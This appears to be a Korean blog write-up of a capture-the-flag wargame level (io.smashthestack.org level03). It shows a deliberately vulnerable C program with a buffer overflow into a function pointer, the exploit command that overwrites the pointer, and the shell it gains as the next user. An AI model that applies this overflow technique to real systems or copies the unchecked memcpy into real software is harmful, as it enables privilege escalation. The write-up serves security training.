티스토리 뷰
//bla, based on work by beach #include <stdio.h> #include <string.h> void good() { puts("Win."); execl("/bin/sh", "sh", NULL); } void bad() { printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good); } int main(int argc, char **argv, char **envp) { void (*functionpointer)(void) = bad; char buffer[50]; if(argc != 2 || strlen(argv[1]) < 4) return 0; memcpy(buffer, argv[1], strlen(argv[1])); memset(buffer, 0, strlen(argv[1]) - 4); printf("This is exciting we're going to %p\n", functionpointer); functionpointer(); return 0; }
level3@io:/levels$ ./level03 $(python -c 'print "AAAA" + "\x74\x84\x04\x08" * 19')
This is exciting we're going to 0x8048474
Win.
sh-4.2$ whoami
level4
'Pwnable > io.smashthestack.org' 카테고리의 다른 글
[io.smashthestack.org] level06 (0) | 2015.01.04 |
---|---|
[io.smashthestack.org] level05 (0) | 2015.01.04 |
[io.smashthestack.org] level04 (0) | 2015.01.04 |
[io.smashthestack.org] level02 (0) | 2015.01.04 |
[io.smashthestack.org] level01 (0) | 2015.01.04 |
댓글